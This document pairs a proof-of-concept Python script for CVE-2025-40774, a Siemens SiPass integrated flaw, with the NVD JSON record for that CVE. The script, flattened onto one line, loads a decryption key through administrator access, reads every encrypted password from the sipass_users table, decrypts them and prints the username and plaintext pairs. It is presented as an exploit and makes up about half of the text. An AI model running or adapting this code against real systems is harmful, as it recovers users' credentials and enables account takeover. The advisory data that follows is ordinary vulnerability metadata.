CVE-2025-40774

# CVE-2025-40774 - SiPass integrated Password Recovery Exploit # This PoC demonstrates the concept of exploiting accessible decryption keys # to recover plaintext user passwords from SiPass integrated database. import hashlib import base64 from cryptography.fernet import Fernet class SiPassPasswordRecovery: """ PoC for CVE-2025-40774: Siemens SiPass integrated < V3.0 Demonstrates how an admin user can access decryption keys and recover encrypted user passwords from the database. """ def __init__(self, admin_key_path, db_connection): # Admin user has access to the decryption key (vulnerability) self.admin_key = self._load_admin_key(admin_key_path) self.cipher = Fernet(self.admin_key) self.db = db_connection def _load_admin_key(self, key_path): """Simulate loading the accessible decryption key as an admin user""" # In vulnerable versions, this key is accessible to admin users with open(key_path, 'rb') as f: return f.read() def fetch_encrypted_passwords(self): """Fetch encrypted passwords from the SiPass database""" # Query the user credentials table query = "SELECT username, encrypted_password FROM sipass_users" cursor = self.db.cursor() cursor.execute(query) return cursor.fetchall() def decrypt_password(self, encrypted_password): """Decrypt a single user password using the accessible key""" try: decrypted = self.cipher.decrypt(encrypted_password.encode()) return decrypted.decode() except Exception as e: return f"Decryption failed: {e}" def exploit(self): """Main exploit chain: recover all user passwords""" print("[*] CVE-2025-40774 - SiPass integrated Password Recovery") print("[*] Accessing decryption key with admin privileges...") encrypted_users = self.fetch_encrypted_passwords() print(f"[*] Found {len(encrypted_users)} encrypted user passwords") recovered_credentials = {} for username, enc_pwd in encrypted_users: plaintext_pwd = self.decrypt_password(enc_pwd) recovered_credentials[username] = plaintext_pwd print(f"[+] {username}: {plaintext_pwd}") return recovered_credentials # Usage example (requires admin access to SiPass integrated server) # recovered = SiPassPasswordRecovery( # admin_key_path='/opt/sipass/keys/decryption.key', # db_connection=db_conn # ).exploit()

{"cve": {"id": "CVE-2025-40774", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:38.850", "lastModified": "2025-10-16T14:09:09.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SiPass integrated (All versions < V3.0). Affected server applications store user passwords encrypted in its database. Decryption keys are accessible to users with administrative privileges, allowing them to recover passwords.\r\n\r\nSuccessful exploitation of this vulnerability allows an attacker to obtain and use valid user passwords. This can lead to unauthorized access to user accounts, data breaches, and potential system compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-257"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:sipass_integrated:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.00", "matchCriteriaId": "B14D3EF7-F7F6-4B14-BBB0-B5A04AB81C38"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-599451.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}